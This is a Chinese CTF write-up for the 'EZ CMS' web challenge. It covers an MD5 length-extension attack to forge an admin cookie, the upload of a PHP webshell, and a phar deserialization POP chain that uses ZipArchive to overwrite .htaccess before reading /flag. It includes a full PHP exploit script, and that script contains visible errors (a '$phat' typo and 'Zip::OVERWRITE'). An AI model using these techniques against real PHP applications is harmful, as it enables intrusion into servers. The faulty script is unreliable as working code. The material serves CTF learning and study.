EZ CMS

  1. 扫了后得到www.zip,下载源码

  2. 源码审计

    上传文件提示u r not admin,审计源码找到判断管理员的逻辑。

    upload.php中,上传文件: 在这里插入图片描述
    审计Admin这个类。
    在这里插入图片描述在这里插入图片描述
    Admin通过判断$this->checker是否为true来判断是否为admin,跟进一下Profile中的is_admin()函数,
    在这里插入图片描述
    需要$_COOKIE['user']===md5($secret.'admin'.$this->password),根据源码我们可以知secret为8位

且,已知md5($secret.'adminadmin') ,很显然这里的点是md5长度拓展攻击

hashpump一下

在这里插入图片描述
check内容:
在这里插入图片描述
上传一个小马,直接访问发现500,猜测应该是因为.htaccess的关系,于是想办法删掉.htaccess。审计view.php,发现new了一个File对象,查看File类,很明显这里有个__destruct(),猜测应该是需要寻找pop链实现反序列化。跟踪upload_file(),只有admin具有这个方法,但是没有什么用。可以看到config.php中有两个__call()方法,其中Profile__call()方法,是可用的。于是File(__destruct()) -> Profile(__call())Profile中的__call()方法调用了open()方法,但是同样的文件中的open()函数都没什么实际用处,寻找php的内置类的open()方法,发现ZipArchiveopen()方法可以利用一波。

在这里插入图片描述在这里插入图片描述
脚本生成phar脚本,上传文件。由于过滤了phar://方法,通过php://filter/resource=phar://访问上传的phar文件,触发反序列化,覆盖.htaccess文件,然后直接访问sandbox下的小马,cat /flag就行。

脚本:

<?php
class File{
	public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        $this->checker = new Profile();
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
}	

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/4a5b0bee63712da959cd874f00ae42a1/.htaccess";
        $this->password = Zip::OVERWRITE;
    }

    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

$a = new Profile();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __halt_compiler(); ?>");
$phar->setMetadata($a);
$phat->addFromString("exp.txt","exp");
$phar->stopBuffering();
// php://filter/resource=phar://sandbox/4a5b0bee63712da959cd874f00ae42a1/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
// sandbox/4a5b0bee63712da959cd874f00ae42a1/93bc3c03503d8768cf7cc1e39ce16fcb.php
?>
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值